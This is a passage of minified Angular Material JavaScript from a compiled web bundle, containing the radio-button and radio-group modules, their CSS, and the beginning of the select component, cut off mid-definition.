circle{fill:rgba(0,0,0,0);transition:stroke-dashoffset 225ms linear}.cdk-high-contrast-active .mat-progress-spinner circle{stroke:CanvasText}.mat-progress-spinner[mode=indeterminate] svg{animation:mat-progress-spinner-linear-rotate 2000ms linear infinite}.mat-progress-spinner[mode=indeterminate] circle{transition-property:stroke;animation-duration:4000ms;animation-timing-function:cubic-bezier(0.35, 0, 0.25, 1);animation-iteration-count:infinite}.mat-progress-spinner._mat-animation-noopable svg,.mat-progress-spinner._mat-animation-noopable circle{animation:none;transition:none}@keyframes mat-progress-spinner-linear-rotate{0%{transform:rotate(0deg)}100%{transform:rotate(360deg)}}@keyframes mat-progress-spinner-stroke-rotate-100{0%{stroke-dashoffset:268.606171575px;transform:rotate(0)}12.5%{stroke-dashoffset:56.5486677px;transform:rotate(0)}12.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(72.5deg)}25%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(72.5deg)}25.0001%{stroke-dashoffset:268.606171575px;transform:rotate(270deg)}37.5%{stroke-dashoffset:56.5486677px;transform:rotate(270deg)}37.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(161.5deg)}50%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(161.5deg)}50.0001%{stroke-dashoffset:268.606171575px;transform:rotate(180deg)}62.5%{stroke-dashoffset:56.5486677px;transform:rotate(180deg)}62.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(251.5deg)}75%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(251.5deg)}75.0001%{stroke-dashoffset:268.606171575px;transform:rotate(90deg)}87.5%{stroke-dashoffset:56.5486677px;transform:rotate(90deg)}87.5001%{stroke-dashoffset:56.5486677px;transform:rotateX(180deg) rotate(341.5deg)}100%{stroke-dashoffset:268.606171575px;transform:rotateX(180deg) rotate(341.5deg)}}"],encapsulation:2,changeDetection:0});let Q=(()=>{class Ce{}return Ce.\\u0275fac=function(K){return new(K||Ce)},Ce.\\u0275mod=c.oAB({type:Ce}),Ce.\\u0275inj=c.cJS({imports:[f.BQ,u.ez,f.BQ]}),Ce})()},1948:(At,ae,d)=>{"use strict";d.d(ae,{Fk:()=>se,U0:()=>K,VQ:()=>Q});var n=d(4650),a=d(3238),s=d(2687),u=d(1281),c=d(5017),f=d(4006);const E=["input"],_=function(ee){return{enterDuration:ee}},S=["*"],g=new n.OlP("mat-radio-default-options",{providedIn:"root",factory:function C(){return{color:"accent"}}});let z=0;const H={provide:f.JU,useExisting:(0,n.Gpc)(()=>Q),multi:!0};class j{constructor(q,we){this.source=q,this.value=we}}const U=new n.OlP("MatRadioGroup");let G=(()=>{class ee{constructor(we){this._changeDetector=we,this._value=null,this._name="mat-radio-group-"+z++,this._selected=null,this._isInitialized=!1,this._labelPosition="after",this._disabled=!1,this._required=!1,this._controlValueAccessorChangeFn=()=>{},this.onTouched=()=>{},this.change=new n.vpe}get name(){return this._name}set name(we){this._name=we,this._updateRadioButtonNames()}get labelPosition(){return this._labelPosition}set labelPosition(we){this._labelPosition="before"===we?"before":"after",this._markRadiosForCheck()}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,this._updateSelectedRadioFromValue(),this._checkSelectedRadioButton())}_checkSelectedRadioButton(){this._selected&&!this._selected.checked&&(this._selected.checked=!0)}get selected(){return this._selected}set selected(we){this._selected=we,this.value=we?we.value:null,this._checkSelectedRadioButton()}get disabled(){return this._disabled}set disabled(we){this._disabled=(0,u.Ig)(we),this._markRadiosForCheck()}get required(){return this._required}set required(we){this._required=(0,u.Ig)(we),this._markRadiosForCheck()}ngAfterContentInit(){this._isInitialized=!0}_touch(){this.onTouched&&this.onTouched()}_updateRadioButtonNames(){this._radios&&this._radios.forEach(we=>{we.name=this.name,we._markForCheck()})}_updateSelectedRadioFromValue(){this._radios&&(null===this._selected||this._selected.value!==this._value)&&(this._selected=null,this._radios.forEach(ce=>{ce.checked=this.value===ce.value,ce.checked&&(this._selected=ce)}))}_emitChangeEvent(){this._isInitialized&&this.change.emit(new j(this._selected,this._value))}_markRadiosForCheck(){this._radios&&this._radios.forEach(we=>we._markForCheck())}writeValue(we){this.value=we,this._changeDetector.markForCheck()}registerOnChange(we){this._controlValueAccessorChangeFn=we}registerOnTouched(we){this.onTouched=we}setDisabledState(we){this.disabled=we,this._changeDetector.markForCheck()}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(n.sBO))},ee.\\u0275dir=n.lG2({type:ee,inputs:{color:"color",name:"name",labelPosition:"labelPosition",value:"value",selected:"selected",disabled:"disabled",required:"required"},outputs:{change:"change"}}),ee})(),Q=(()=>{class ee extends G{}return ee.\\u0275fac=function(){let q;return function(ce){return(q||(q=n.n5z(ee)))(ce||ee)}}(),ee.\\u0275dir=n.lG2({type:ee,selectors:[["mat-radio-group"]],contentQueries:function(we,ce,je){if(1&we&&n.Suo(je,K,5),2&we){let Ze;n.iGM(Ze=n.CRH())&&(ce._radios=Ze)}},hostAttrs:["role","radiogroup",1,"mat-radio-group"],exportAs:["matRadioGroup"],features:[n._Bn([H,{provide:U,useExisting:ee}]),n.qOj]}),ee})();class oe{constructor(q){this._elementRef=q}}const Ce=(0,a.Kr)((0,a.sb)(oe));let k=(()=>{class ee extends Ce{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(ce),this._changeDetector=je,this._focusMonitor=Ze,this._radioDispatcher=le,this._providerOverride=Qe,this._uniqueId="mat-radio-"+ ++z,this.id=this._uniqueId,this.change=new n.vpe,this._checked=!1,this._value=null,this._removeUniqueSelectionListener=()=>{},this.radioGroup=we,this._noopAnimations="NoopAnimations"===Oe,Ye&&(this.tabIndex=(0,u.su)(Ye,0)),this._removeUniqueSelectionListener=le.listen((qe,Ke)=>{qe!==this.id&&Ke===this.name&&(this.checked=!1)})}get checked(){return this._checked}set checked(we){const ce=(0,u.Ig)(we);this._checked!==ce&&(this._checked=ce,ce&&this.radioGroup&&this.radioGroup.value!==this.value?this.radioGroup.selected=this:!ce&&this.radioGroup&&this.radioGroup.value===this.value&&(this.radioGroup.selected=null),ce&&this._radioDispatcher.notify(this.id,this.name),this._changeDetector.markForCheck())}get value(){return this._value}set value(we){this._value!==we&&(this._value=we,null!==this.radioGroup&&(this.checked||(this.checked=this.radioGroup.value===we),this.checked&&(this.radioGroup.selected=this)))}get labelPosition(){return this._labelPosition||this.radioGroup&&this.radioGroup.labelPosition||"after"}set labelPosition(we){this._labelPosition=we}get disabled(){return this._disabled||null!==this.radioGroup&&this.radioGroup.disabled}set disabled(we){this._setDisabled((0,u.Ig)(we))}get required(){return this._required||this.radioGroup&&this.radioGroup.required}set required(we){this._required=(0,u.Ig)(we)}get color(){return this._color||this.radioGroup&&this.radioGroup.color||this._providerOverride&&this._providerOverride.color||"accent"}set color(we){this._color=we}get inputId(){return`${this.id||this._uniqueId}-input`}focus(we,ce){ce?this._focusMonitor.focusVia(this._inputElement,ce,we):this._inputElement.nativeElement.focus(we)}_markForCheck(){this._changeDetector.markForCheck()}ngOnInit(){this.radioGroup&&(this.checked=this.radioGroup.value===this._value,this.checked&&(this.radioGroup.selected=this),this.name=this.radioGroup.name)}ngDoCheck(){this._updateTabIndex()}ngAfterViewInit(){this._updateTabIndex(),this._focusMonitor.monitor(this._elementRef,!0).subscribe(we=>{!we&&this.radioGroup&&this.radioGroup._touch()})}ngOnDestroy(){this._focusMonitor.stopMonitoring(this._elementRef),this._removeUniqueSelectionListener()}_emitChangeEvent(){this.change.emit(new j(this,this._value))}_isRippleDisabled(){return this.disableRipple||this.disabled}_onInputClick(we){we.stopPropagation()}_onInputInteraction(we){if(we.stopPropagation(),!this.checked&&!this.disabled){const ce=this.radioGroup&&this.value!==this.radioGroup.value;this.checked=!0,this._emitChangeEvent(),this.radioGroup&&(this.radioGroup._controlValueAccessorChangeFn(this.value),ce&&this.radioGroup._emitChangeEvent())}}_setDisabled(we){this._disabled!==we&&(this._disabled=we,this._changeDetector.markForCheck())}_updateTabIndex(){const we=this.radioGroup;let ce;if(ce=we&&we.selected&&!this.disabled?we.selected===this?this.tabIndex:-1:this.tabIndex,ce!==this._previousTabIndex){const je=this._inputElement?.nativeElement;je&&(je.setAttribute("tabindex",ce+""),this._previousTabIndex=ce)}}}return ee.\\u0275fac=function(we){n.$Z()},ee.\\u0275dir=n.lG2({type:ee,viewQuery:function(we,ce){if(1&we&&n.Gf(E,5),2&we){let je;n.iGM(je=n.CRH())&&(ce._inputElement=je.first)}},inputs:{id:"id",name:"name",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],ariaDescribedby:["aria-describedby","ariaDescribedby"],checked:"checked",value:"value",labelPosition:"labelPosition",disabled:"disabled",required:"required",color:"color"},outputs:{change:"change"},features:[n.qOj]}),ee})(),K=(()=>{class ee extends k{constructor(we,ce,je,Ze,le,Oe,Qe,Ye){super(we,ce,je,Ze,le,Oe,Qe,Ye)}}return ee.\\u0275fac=function(we){return new(we||ee)(n.Y36(U,8),n.Y36(n.SBq),n.Y36(n.sBO),n.Y36(s.tE),n.Y36(c.A8),n.Y36(n.QbO,8),n.Y36(g,8),n.$8M("tabindex"))},ee.\\u0275cmp=n.Xpm({type:ee,selectors:[["mat-radio-button"]],hostAttrs:[1,"mat-radio-button"],hostVars:17,hostBindings:function(we,ce){1&we&&n.NdJ("focus",function(){return ce._inputElement.nativeElement.focus()}),2&we&&(n.uIk("tabindex",null)("id",ce.id)("aria-label",null)("aria-labelledby",null)("aria-describedby",null),n.ekj("mat-radio-checked",ce.checked)("mat-radio-disabled",ce.disabled)("_mat-animation-noopable",ce._noopAnimations)("mat-primary","primary"===ce.color)("mat-accent","accent"===ce.color)("mat-warn","warn"===ce.color))},inputs:{disableRipple:"disableRipple",tabIndex:"tabIndex"},exportAs:["matRadioButton"],features:[n.qOj],ngContentSelectors:S,decls:13,vars:19,consts:[[1,"mat-radio-label"],["label",""],[1,"mat-radio-container"],[1,"mat-radio-outer-circle"],[1,"mat-radio-inner-circle"],["type","radio",1,"mat-radio-input",3,"id","checked","disabled","required","change","click"],["input",""],["mat-ripple","",1,"mat-radio-ripple","mat-focus-indicator",3,"matRippleTrigger","matRippleDisabled","matRippleCentered","matRippleRadius","matRippleAnimation"],[1,"mat-ripple-element","mat-radio-persistent-ripple"],[1,"mat-radio-label-content"],[2,"display","none"]],template:function(we,ce){if(1&we&&(n.F$t(),n.TgZ(0,"label",0,1)(2,"span",2),n._UZ(3,"span",3)(4,"span",4),n.TgZ(5,"input",5,6),n.NdJ("change",function(Ze){return ce._onInputInteraction(Ze)})("click",function(Ze){return ce._onInputClick(Ze)}),n.qZA(),n.TgZ(7,"span",7),n._UZ(8,"span",8),n.qZA()(),n.TgZ(9,"span",9)(10,"span",10),n._uU(11,"\\xa0"),n.qZA(),n.Hsn(12),n.qZA()()),2&we){const je=n.MAs(1);n.uIk("for",ce.inputId),n.xp6(5),n.Q6J("id",ce.inputId)("checked",ce.checked)("disabled",ce.disabled)("required",ce.required),n.uIk("name",ce.name)("value",ce.value)("aria-label",ce.ariaLabel)("aria-labelledby",ce.ariaLabelledby)("aria-describedby",ce.ariaDescribedby),n.xp6(2),n.Q6J("matRippleTrigger",je)("matRippleDisabled",ce._isRippleDisabled())("matRippleCentered",!0)("matRippleRadius",20)("matRippleAnimation",n.VKq(17,_,ce._noopAnimations?0:150)),n.xp6(2),n.ekj("mat-radio-label-before","before"==ce.labelPosition)}},dependencies:[a.wG],styles:[\'.mat-radio-button{display:inline-block;-webkit-tap-highlight-color:rgba(0,0,0,0);outline:0}.mat-radio-label{-webkit-user-select:none;user-select:none;cursor:pointer;display:inline-flex;align-items:center;white-space:nowrap;vertical-align:middle;width:100%}.mat-radio-container{box-sizing:border-box;display:inline-block;position:relative;width:20px;height:20px;flex-shrink:0}.mat-radio-outer-circle{box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;transition:border-color ease 280ms;width:20px;border-width:2px;border-style:solid;border-radius:50%}._mat-animation-noopable .mat-radio-outer-circle{transition:none}.mat-radio-inner-circle{border-radius:50%;box-sizing:border-box;display:block;height:20px;left:0;position:absolute;top:0;opacity:0;transition:transform ease 280ms,background-color ease 280ms,opacity linear 1ms 280ms;width:20px;transform:scale(0.001);-webkit-print-color-adjust:exact;color-adjust:exact}.mat-radio-checked .mat-radio-inner-circle{transform:scale(0.5);opacity:1;transition:transform ease 280ms,background-color ease 280ms}.cdk-high-contrast-active .mat-radio-checked .mat-radio-inner-circle{border:solid 10px}._mat-animation-noopable .mat-radio-inner-circle{transition:none}.mat-radio-label-content{-webkit-user-select:auto;user-select:auto;display:inline-block;order:0;line-height:inherit;padding-left:8px;padding-right:0}[dir=rtl] .mat-radio-label-content{padding-right:8px;padding-left:0}.mat-radio-label-content.mat-radio-label-before{order:-1;padding-left:0;padding-right:8px}[dir=rtl] .mat-radio-label-content.mat-radio-label-before{padding-right:0;padding-left:8px}.mat-radio-disabled,.mat-radio-disabled .mat-radio-label{cursor:default}.mat-radio-button .mat-radio-ripple{position:absolute;left:calc(50% - 20px);top:calc(50% - 20px);height:40px;width:40px;z-index:1;pointer-events:none}.mat-radio-button .mat-radio-ripple .mat-ripple-element:not(.mat-radio-persistent-ripple){opacity:.16}.mat-radio-persistent-ripple{width:100%;height:100%;transform:none;top:0;left:0}.mat-radio-container:hover .mat-radio-persistent-ripple{opacity:.04}.mat-radio-button:not(.mat-radio-disabled).cdk-keyboard-focused .mat-radio-persistent-ripple,.mat-radio-button:not(.mat-radio-disabled).cdk-program-focused .mat-radio-persistent-ripple{opacity:.12}.mat-radio-persistent-ripple,.mat-radio-disabled .mat-radio-container:hover .mat-radio-persistent-ripple{opacity:0}@media(hover: none){.mat-radio-container:hover .mat-radio-persistent-ripple{display:none}}.mat-radio-input{opacity:0;position:absolute;top:0;left:0;margin:0;width:100%;height:100%;cursor:inherit;z-index:-1}.mat-radio-input:focus~.mat-focus-indicator::before{content:""}.cdk-high-contrast-active .mat-radio-disabled{opacity:.5}\'],encapsulation:2,changeDetection:0}),ee})(),se=(()=>{class ee{}return ee.\\u0275fac=function(we){return new(we||ee)},ee.\\u0275mod=n.oAB({type:ee}),ee.\\u0275inj=n.cJS({imports:[a.si,a.BQ,a.BQ]}),ee})()},4385:(At,ae,d)=>{"use strict";d.d(ae,{$L:()=>Je,LD:()=>Pt,gD:()=>Dt});var n=d(8184),a=d(6895),s=d(4650),u=d(3238),c=d(9549),f=d(7261),E=d(2687),_=d(445),S=d(1281),g=d(5017),C=d(9521),z=d(4006),H=d(8929),j=d(8514),U=d(6787),G=d(1059),Q=d(7545),oe=d(2986),Ce=d(2198),k=d(4850),K=d(5778),se=d(7625),ee=d(7340);const q=["trigger"],we=["panel"];function ce(Ie,te){if(1&Ie&&(s.TgZ(0,"span",8),s._uU(1),s.qZA()),2&Ie){const x=s.oxw();s.xp6(1),s.Oqu(x.placeholder)}}function je(Ie,te){if(1&Ie&&(s.TgZ(0,"span",12),s._uU(1),s.qZA()),2&Ie){const x=s.oxw(2);s.xp6(1),s.Oqu(x.triggerValue)}}function Ze(Ie,te){1&Ie&&s.Hsn(0,0,["*ngSwitchCase","true"])}function le(Ie,te){if(1&Ie&&(s.TgZ(0,"span",9),s.YNc(1,je,2,1,"span",10),s.YNc(2,Ze,1,0,"ng-content",11),s.qZA()),2&Ie){const x=s.oxw();s.Q6J("ngSwitch",!!x.customTrigger),s.xp6(2),s.Q6J("ngSwitchCase",!0)}}function Oe(Ie,te){if(1&Ie){const x=s.EpF();s.TgZ(0,"div",13)(1,"div",14,15),s.NdJ("@transformPanel.done",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._panelDoneAnimatingStream.next(b.toState))})("keydown",function(b){s.CHM(x);const B=s.oxw();return s.KtG(B._handleKeydown(b))}),s.Hsn(3,1),s.qZA()()}if(2&Ie){const x=s.oxw();s.Q6J("@transformPanelWrap",void 0),s.xp6(1),s.Gre("mat-select-panel ",x._getPanelTheme(),""),s.Udp("transform-origin",x._transformOrigin)("font-size",x._triggerFontSize,"px"),s.Q6J("ngClass",x.panelClass)("@transformPanel",x.multiple?"showing-multiple":"showing"),s.uIk("id",x.id+"-panel")("aria-multiselectable",x.multiple)("aria-label",x.ariaLabel||null)("aria-labelledby",x._getPanelAriaLabelledby())}}const Qe=[[["mat-select-trigger"]],"*"],Ye=["mat-select-trigger","*"],qe={transformPanelWrap:(0,ee.X$)("transformPanelWrap",[(0,ee.eR)("* => void",(0,ee.IO)("@transformPanel",[(0,ee.pV)()],{optional:!0}))]),transformPanel:(0,ee.X$)("transformPanel",[(0,ee.SB)("void",(0,ee.oB)({transform:"scaleY(0.8)",minWidth:"100%",opacity:0})),(0,ee.SB)("showing",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 32px)",transform:"scaleY(1)"})),(0,ee.SB)("showing-multiple",(0,ee.oB)({opacity:1,minWidth:"calc(100% + 64px)",transform:"scaleY(1)"})),(0,ee.eR)("void => *",(0,ee.jt)("120ms cubic-bezier(0, 0, 0.2, 1)")),(0,ee.eR)("* => void",(0,ee.jt)("100ms 25ms linear",(0,ee.oB)({opacity:0})))])};let ze=0;const pe=new s.OlP("mat-select-scroll-strategy"),w=new s.OlP("MAT_SELECT_CONFIG"),R={provide:pe,deps:[n.aV],useFactory:function P(Ie){return()=>Ie.scrollStrategies.reposition()}};class X{constructor(te,x){this.source=te,this.value=x}}const _e=(0,u.Kr)((0,u.sb)((0,u.Id)((0,u.FD)(class{constructor(Ie,te,x,m,b){this._elementRef=Ie,this._defaultErrorStateMatcher=te,this._parentForm=x,this._parentFormGroup=m,this.ngControl=b,this.stateChanges=new H.xQ}})))),ct=new s.OlP("MatSelectTrigger");let Je=(()=>{class Ie{}return Ie.\\u0275fac=function(x){return new(x||Ie)},Ie.\\u0275dir=s.lG2({type:Ie,selectors:[["mat-select-trigger"]],features:[s._Bn([{provide:ct,useExisting:Ie}])]}),Ie})(),Et=(()=>{class Ie extends _e{constructor(x,m,b,B,ie,Xe,it,wt,Vt,Gt,qt,u1,c1,It){super(ie,B,it,wt,Gt),this._viewportRuler=x,this._changeDetectorRef=m,this._ngZone=b,this._dir=Xe,this._parentFormField=Vt,this._liveAnnouncer=c1,this._defaultOptions=It,this._panelOpen=!1,this._compareWith=(_t,kt)=>_t===kt,this._uid="mat-select-"+ze++,this._triggerAriaLabelledBy=null,this._destroy=new H.xQ,this._onChange=()=>{},this._onTouched=()=>{},this._valueId="mat-select-value-"+ze++,this._panelDoneAnimatingStream=new H.xQ,this._overlayPanelClass=this._defaultOptions?.overlayPanelClass||"",this._focused=!1,this.controlType="mat-select",this._multiple=!1,this._disableOptionCentering=this._defaultOptions?.disableOptionCentering??!1,this.ariaLabel="",this.optionSelectionChanges=(0,j.P)(()=>{const _t=this.options;return _t?_t.changes.pipe((0,G.O)(_t),(0,Q.w)(()=>(0,U.T)(..._t.map(kt=>kt.onSelectionChange)))):this._ngZone.onStable.pipe((0,oe.q)(1),(0,Q.w)(()=>this.optionSelectionChanges))}),this.openedChange=new s.vpe,this._openedStream=this.openedChange.pipe((0,Ce.h)(_t=>_t),(0,k.U)(()=>{})),this._closedStream=this.openedChange.pipe((0,Ce.h)(_t=>!_t),(0,k.U)(()=>{})),this.selectionChange=new s.vpe,this.valueChange=new s.vpe,this.ngControl&&(this.ngControl.valueAccessor=this),null!=It?.typeaheadDebounceInterval&&(this._typeaheadDebounceInterval=It.typeaheadDebounceInterval),this._scrollStrategyFactory=u1,this._scrollStrategy=this._scrollStrategyFactory(),this.tabIndex=parseInt(qt)||0,this.id=this.id}get focused(){return this._focused||this._panelOpen}get placeholder(){return this._placeholder}set placeholder(x){this._placeholder=x,this.stateChanges.next()}get required(){return this._required??this.ngControl?.control?.hasValidator(z.kI.required)??!1}set required(x){this._required=(0,S.Ig)(x),this.stateChanges.next()}get multiple(){return this._multiple}set multiple(x){this._multiple=(0,S.Ig)(x)}get disableOptionCentering(){return this._disableOptionCentering}set disableOptionCentering(x){this._disableOptionCentering=(0,S.Ig)(x)}get compareWith(){return this._compareWith}set compareWith(x){this._compareWith=x,this._selectionModel&&this._initializeSelection()}get value(){return this._value}set value(x){this._assignValue(x)&&this._onChange(x)}get typeaheadDebounceInterval(){return this._typeaheadDebounceInterval}set typeaheadDebounceInterval(x){this._typeaheadDebounceInterval=(0,S.su)(x)}get id(){return this._id}set id(x){this._id=x||this._uid,this.stateChanges.next()}ngOnInit(){this._selectionModel=new g.Ov(this.multiple),this.stateChanges.next(),this._panelDoneAnimatingStream.pipe((0,K.x)(),(0,se.R)(this._destroy)).subscribe(()=>this._panelDoneAnimating(this.panelOpen))}ngAfterContentInit(){this._initKeyManager(),this._selectionModel.changed.pipe((0,se.R)(this._destroy)).subscribe(x=>{x.added.forEach(m=>m.select()),x.removed.forEach(m=>m.deselect())}),this.options.changes.pipe((0,G.O)(null),(0,se.R)(this._destroy)).subscribe(()=>{this._resetOptions(),this._initializeSelection()})}ngDoCheck(){const x=this._getTriggerAriaLabelledby(),m=this.ngControl;if(x!==this._triggerAriaLabelledBy){const b=this._elementRef.nativeElement;this._triggerAriaLabelledBy=x,x?b.setAttribute("aria-labelledby",x):b.removeAttribute("aria-labelledby")}m&&(this._previousControl!==m.control&&(void 0!==this._previousControl&&null!==m.disabled&&m.disabled!==this.disabled&&(this.disabled=m.disabled),this._previousControl=m.control),this.updateErrorState())}ngOnChanges(x){(x.disabled||x.userAriaDescribedBy)&&this.stateChanges.next(),x.typeaheadDebounceInterval&&this._keyManager&&this._keyManager.withTypeAhead(this._typeaheadDebounceInterval)}ngOnDestroy(){this._destroy.next(),this._destroy.complete(),this.stateChanges.complete()}toggle(){this.panelOpen?this.close():this.open()}open(){this._canOpen()&&(this._panelOpen=!0,this._keyManager.withHorizontalOrientation(null),this._highlightCorrectOption(),this._changeDetectorRef.markForCheck())}close(){this._panelOpen&&(this._panelOpen=!1,this._keyManager.withHorizontalOrientation(this._isRtl()?"rtl":"ltr"),this._changeDetectorRef.markForCheck(),this._onTouched())}writeValue(x){this._assignValue(x)}registerOnChange(x){this._onChange=x}registerOnTouched(x){this._onTouched=x}setDisabledState(x){this.disabled=x,this._changeDetectorRef.markForCheck(),this.stateChanges.next()}get panelOpen(){return this._panelOpen}get selected(){return this.multiple?this._selectionModel?.selected||[]:this._selectionModel?.selected[0]}get triggerValue(){if(this.empty)return"";if(this._multiple){const x=this._selectionModel.selected.map(m=>m.viewValue);return this._isRtl()&&x.reverse(),x.join(", ")}return this._selectionModel.selected[0].viewValue}_isRtl(){return!!this._dir&&"rtl"===this._dir.value}_handleKeydown(x){this.disabled||(this.panelOpen?this._handleOpenKeydown(x):this._handleClosedKeydown(x))}_handleClosedKeydown(x){const m=x.keyCode,b=m===C.JH||m===C.LH||m===C.oh||m===C.SV,B=m===C.K5||m===C.L_,ie=this._keyManager;if(!ie.isTyping()&&B&&!(0,C.Vb)(x)||(this.multiple||x.altKey)&&b)x.preventDefault(),this.open();else if(!this.multiple){const Xe=this.selected;ie.onKeydown(x);const it=this.selected;it&&Xe!==it&&this._liveAnnouncer.announce(it.viewValue,1e4)}}_handleOpenKeydown(x){const m=this._keyManager,b=x.keyCode,B=b===C.JH||b===C.LH,ie=m.isTyping();if(B&&x.altKey)x.preventDefault(),this.close();else if(ie||b!==C.K5&&b!==C.L_||!m.activeItem||(0,C.Vb)(x))if(!ie&&this._multiple&&b===C.A&&x.ctrlKey){x.preventDefault();const Xe=this.options.some(it=>!it.disabled&&!it.selected);this.options.forEach(it=>{it.disabled||(Xe?it.select():it.deselect())})}else{const Xe=m.activeItemIndex;m.onKeydown(x),this._multiple&&B&&x.shiftKey&&m.activeItem&&m.activeItemIndex!==Xe&&m.activeItem._selectViaInteraction()}else x.preventDefault(),m.activeItem._selectViaInteraction()}_onFocus(){this.disabled||(this._focused=!0,this.stateChanges.next())}_onBlur(){this._focused=!1,!this.disabled&&!this.panelOpen&&(this._onTouched(),this._changeDetectorRef.markForCheck(),this.stateChanges.next())}_onAttached(){this._overlayDir.positionChange.pipe((0,oe.q)(1)).subscribe(()=>{this._changeDetectorRef.detectChanges(),this._positioningSettled()})}_getPanelTheme(){return this._parentFormField?`mat-${this._parentFormField.color}`:""}get empty(){return!this._selectionModel||this._selectionModel.isEmpty()}_initializeSelection(){Promise.resolve().then(()=>{this.ngControl&&(this._value=this.ngControl.value),this._setSelectionByValue(this._value),this.stateChanges.next()})}_setSelectionByValue(x){if(this._selectionModel.selected.forEach(m=>m.setInactiveStyles()),this._selectionModel.clear(),this.multiple&&x)Array.isArray(x),x.forEach(m=>this._selectOptionByValue(m)),this._sortValues();else{const m=this._selectOptionByValue(x);m?this._keyManager.updateActiveItem(m):this.panelOpen||this._keyManager.updateActiveItem(-1)}this._changeDetectorRef.markForCheck()}_selectOptionByValue(x){const m=this.options.find(b=>{if(this._selectionModel.isSelected(b))return!1;try{return null!=b.value&&this._compareWith(b.value,x)}catch{return!1}});return m&&this._selectionModel.select(m),m}_assignValue(x){return!!(x!==this._value||this._multiple&&Array.isArray(x))&&(this.options&&this._setSelectionByValue(x),this._value=x,!0)}_initKeyManager(){this._keyManager=new E.s1(this.options).withTypeAhead(this._typeaheadDebounceInterval).withVerticalOrientation().withHorizontalOrientation(this._isRtl()?"rtl":"ltr").withHomeAndEnd().withAllowedModifierKeys(["shiftKey"]),this._keyManager.tabOut.pipe((0,se.R)(this._destroy)).subscribe(()=>{this.panelOpen&&(!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction(),this.focus(),this.close())}),this._keyManager.change.pipe((0,se.R)(this._destroy)).subscribe(()=>{this._panelOpen&&this.panel?this._scrollOptionIntoView(this._keyManager.activeItemIndex||0):!this._panelOpen&&!this.multiple&&this._keyManager.activeItem&&this._keyManager.activeItem._selectViaInteraction()})}_resetOptions(){const x=(0,U.T)(this.options.changes,this._destroy);this.optionSelectionChanges.pipe((0,se.R)(x)).subscribe(m=>{this._onSelect(m.source,m.isUserInput),m.isUserInput&&!this.multiple&&this._panelOpen&&(this.close(),this.focus())}),(0,U.T)(...this.options.map(m=>m._stateChanges)).pipe((0,se.R)(x)).subscribe(()=>{this._changeDetectorRef.markForCheck(),this.stateChanges.next()})}_onSelect(x,m){const b=this._selectionModel.isSelected(x);null!=x.value||this._multiple?(b!==x.selected&&(x.selected?this._selectionModel.select(x):this._selectionModel.deselect(x)),m&&this._keyManager.setActiveItem(x),this.multiple&&(this._sortValues(),m&&this.focus())):(x.deselect(),this._selectionModel.clear(),null!=this.value&&this._propagateChanges(x.value)),b!==this._selectionModel.isSelected(x)&&this._propagateChanges(),this.stateChanges.next()}_sortValues(){if(this.multiple){const x=this.options.toArray();this._selectionModel.sort((m,b)=>this.sortComparator?this.sortComparator(m,b,x):x.indexOf(m)-x.indexOf(b)),this.stateChanges.next()}}_propagateChanges(x){let m=null;m=this.multiple?this.selected.map(b=>b.value):this.selected?this.selected.value:x,this._value=m,this.valueChange.emit(m),this._onChange(m),this.selectionChange.emit(this._getChangeEvent(m)),this._changeDetectorRef.markForCheck()}_highlightCorrectOption(){this._keyManager&&(this.empty?this._keyManager.setFirstItemActive():this._keyManager.setActiveItem(this._selectionModel.selected[0]))}_canOpen(){return!this._panelOpen&&!this.disabled&&this.options?.length>0}focus(x){this._elementRef.nativeElement.focus(x)}_getPanelAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();return this.ariaLabelledby?(x?x+" ":"")+this.ariaLabelledby:x}_getAriaActiveDescendant(){return this.panelOpen&&this._keyManager&&this._keyManager.activeItem?this._keyManager.activeItem.id:null}_getTriggerAriaLabelledby(){if(this.ariaLabel)return null;const x=this._parentFormField?.getLabelId();let m=(x?x+" ":"")+this._valueId;return this.ariaLabelledby&&(m+=" "+this.ariaLabelledby),m}_panelDoneAnimating(x){this.openedChange.emit(x)}setDescribedByIds(x){x.length?this._elementRef.nativeElement.setAttribute("aria-describedby",x.join(" ")):this._elementRef.nativeElement.removeAttribute("aria-describedby")}onContainerClick(){this.focus(),this.open()}get shouldLabelFloat(){return this._panelOpen||!this.empty||this._focused&&!!this._placeholder}}return Ie.\\u0275fac=function(x){return new(x||Ie)(s.Y36(f.rL),s.Y36(s.sBO),s.Y36(s.R0b),s.Y36(u.rD),s.Y36(s.SBq),s.Y36(_.Is,8),s.Y36(z.F,8),s.Y36(z.sg,8),s.Y36(c.G_,8),s.Y36(z.a5,10),s.$8M("tabindex"),s.Y36(pe),s.Y36(E.Kd),s.Y36(w,8))},Ie.\\u0275dir=s.lG2({type:Ie,viewQuery:function(x,m){if(1&x&&(s.Gf(q,5),s.Gf(we,5),s.Gf(n.pI,5)),2&x){let b;s.iGM(b=s.CRH())&&(m.trigger=b.first),s.iGM(b=s.CRH())&&(m.panel=b.first),s.iGM(b=s.CRH())&&(m._overlayDir=b.first)}},inputs:{userAriaDescribedBy:["aria-describedby","userAriaDescribedBy"],panelClass:"panelClass",placeholder:"placeholder",required:"required",multiple:"multiple",disableOptionCentering:"disableOptionCentering",compareWith:"compareWith",value:"value",ariaLabel:["aria-label","ariaLabel"],ariaLabelledby:["aria-labelledby","ariaLabelledby"],errorStateMatcher:"errorStateMatcher",typeaheadDebounceInterval:"typeaheadDebounceInterval",sortComparator:"sortComparator",id:"id"},outputs:{openedChange:"openedChange",_openedStream:"opened",_closedStream:"closed",selectionChange:"selectionChange",valueChange:"valueChange"},features:[s.qOj,s.TTD]}),Ie})(),Dt=(()=>{class Ie extends 